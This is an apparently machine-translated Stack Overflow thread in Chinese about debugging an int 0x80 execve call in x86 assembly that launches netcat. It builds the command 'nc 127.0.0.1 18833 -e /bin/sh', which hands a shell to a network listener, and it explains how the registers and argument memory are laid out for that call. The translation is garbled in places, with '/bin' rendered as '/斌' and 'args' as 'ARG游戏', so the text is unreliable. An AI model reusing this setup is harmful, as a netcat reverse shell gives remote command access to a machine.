我正在编写一个汇编程序,需要打电话给netcat并通过互联网执行程序。Linux Sys_execve将不会在程序集中运行
据我所知,对于execve命令,您将EBX寄存器指向要运行的程序,并在最后以空字节结束以终止。您将ECX寄存器指向由空字节分隔的参数,并在参数列表的末尾添加2个空字节。你只需将EDX设置为一堆空字节。
在我的命令int0x80执行命令我注册这个样子:
EAX:11 #system致电
EBX:0x0783140#/斌// NC
ECX:0x078314a #args
EDX: 0x07831a4 #ENV
这里的所述存储器中的0x0783140以ASCII值:
[空字节] = 0×00
/bin中// NC [空字节] 127.0.0.1 [空字节] 18833 [空字节] -e [空字节]/bin/sh的[空字节] [空字节]
EBX指向“/斌// NC”
ECX指向‘127.0.0.1’
RDX只是点了一堆空字节
该计划将获得为int 0x80的电话,但它会立即返回,并在把0xfffffff2 EAX寄存器。
任何帮助将是伟大的。
编辑:谢谢ephemient我现在能够实际运行netcat,但不知何故,我认为我的args没有被程序正确读取。我认为这是因为netcat运行,但立即退出并退出代码1,并没有建立连接到我的听众。
ECX现在指向该内存(请注意,我把对可读性地址之间的空间,但他们并不在我的计划存在):
0x78315e 0x783168 0x78316e 0x783171 0x00000000
0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]
我有四重检查,该地址实际上指向askii值超过
感谢这么多,那解决的netcat的问题没有运行,但现在的ARG游戏没有被正确读取。任何进一步的帮助,你可以提供将不胜感激 –
@HansDonkersloot它看起来像你缺少argv [0]。这通常是二进制文件的文件名。它应该在其余的论点之前出现。 – ephemient